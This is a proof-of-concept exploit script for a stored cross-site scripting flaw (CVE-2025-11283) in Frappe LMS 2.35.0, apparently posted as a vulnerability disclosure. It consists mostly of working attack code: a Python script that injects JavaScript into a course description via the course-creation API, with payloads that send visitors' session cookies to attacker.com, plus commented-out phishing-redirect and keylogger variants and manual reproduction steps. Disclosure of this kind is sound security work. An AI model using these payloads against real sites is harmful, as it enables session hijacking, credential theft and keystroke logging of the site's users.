CVE-2025-11283：Frappe LMS Course Handler组件XSS漏洞

# CVE-2025-11283 - Frappe LMS 2.35.0 Stored XSS PoC # Vulnerability: Stored XSS in Course Handler - Description parameter # Author: 0xHamy # Reference: https://gist.github.com/0xHamy/1f99795df9301a95ee0c6d18028cd3da import requests # Target configuration TARGET_URL = "https://target-frappe-lms.com" SESSION_COOKIE = "your_session_cookie_here" # Requires admin/high-privilege session # Step 1: Authenticate and obtain session (if not already authenticated) session = requests.Session() session.cookies.set("sid", SESSION_COOKIE) # Step 2: Craft malicious payload for the Description field # The payload will execute JavaScript in the victim's browser context xss_payload = """ <div class="course-description"> <h2>Welcome to the Course</h2> <script> // Steal session cookies and send to attacker's server fetch('https://attacker.com/steal?cookie=' + document.cookie); // Alternative: Redirect to phishing page // window.location = 'https://attacker.com/phishing'; // Alternative: Keylogger // document.addEventListener('keypress', function(e) { // fetch('https://attacker.com/log?key=' + e.key); // }); </script> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> </div> """ # Step 3: Send the malicious course description via Course Handler API course_data = { "title": "Introduction to Security", "description": xss_payload, "category": "Security", "instructor": "admin" } # Step 4: Submit the crafted payload response = session.post( f"{TARGET_URL}/api/method/lms.lms.doctype.lms_course.lms_course.create_course", json=course_data, headers={ "Content-Type": "application/json", "X-Frappe-CSRF-Token": "your_csrf_token_here" } ) # Step 5: Verify the payload was stored if response.status_code == 200: print(f"[+] XSS payload successfully stored in course description") print(f"[+] Course ID: {response.json().get('message', {}).get('name')}") print(f"[+] When a victim views this course, the script will execute") else: print(f"[-] Failed to store payload: {response.status_code}") print(f"[-] Response: {response.text}") # Steps to Reproduce (Manual): # 1. Login to Frappe LMS as an admin or user with course creation privileges # 2. Navigate to Course creation/editing page # 3. In the Description field, inject: <script>alert(document.cookie)</script> # 4. Save the course # 5. When any user (including unauthenticated viewers) accesses the course page, # the JavaScript will execute in their browser context